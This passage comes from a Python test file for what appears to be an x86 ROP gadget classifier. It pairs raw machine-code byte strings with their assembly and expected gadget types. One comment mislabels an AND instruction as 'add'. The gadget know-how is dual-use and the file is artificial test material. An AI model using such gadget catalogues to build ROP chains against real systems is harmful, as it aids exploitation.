         }, '\x55\x89\xe5\x83\xec\x18\xc7\x04\x24\x3c\xa0\x04\x08\xff\xd0'),
         #longjmp: mov %esp, %ecx; jmp *%edx
         ({
             RegJumpNormal: 1
         }, '\x89\xe1\xff\xe2'),
         #sub %eax, %ecx ; ret
         ({
             SubGadget: 1
         }, '\x29\xc1\xc3'),
         #sub %eax, %edx ; ret
         ({
             SubGadget: 1
         }, '\x29\xc2\xc3'),
         #add %eax, %ecx ; ret
         ({
             AddGadget: 1
         }, '\x01\xc1\xc3'),
         #add %eax, %edx ; ret
         ({
             AddGadget: 1
         }, '\x01\xc2\xc3'),
         #pushl  0x804a004; jmp  *0x804a008
         ({}, '\xff\x35\x04\xa0\x04\x08\xff\x25\x08\xa0\x04\x08'),
         #add %esi, (%ecx); ret
         ({
             StoreAndGadget: 1
         }, '\x21\x31\xc3'),
         #add (%eax), %ecx; ret
         ({
             LoadAddGadget: 1
         }, '\x03\x08\xc3'),
     ]
     self.run_test(archinfo.ArchX86(), tests)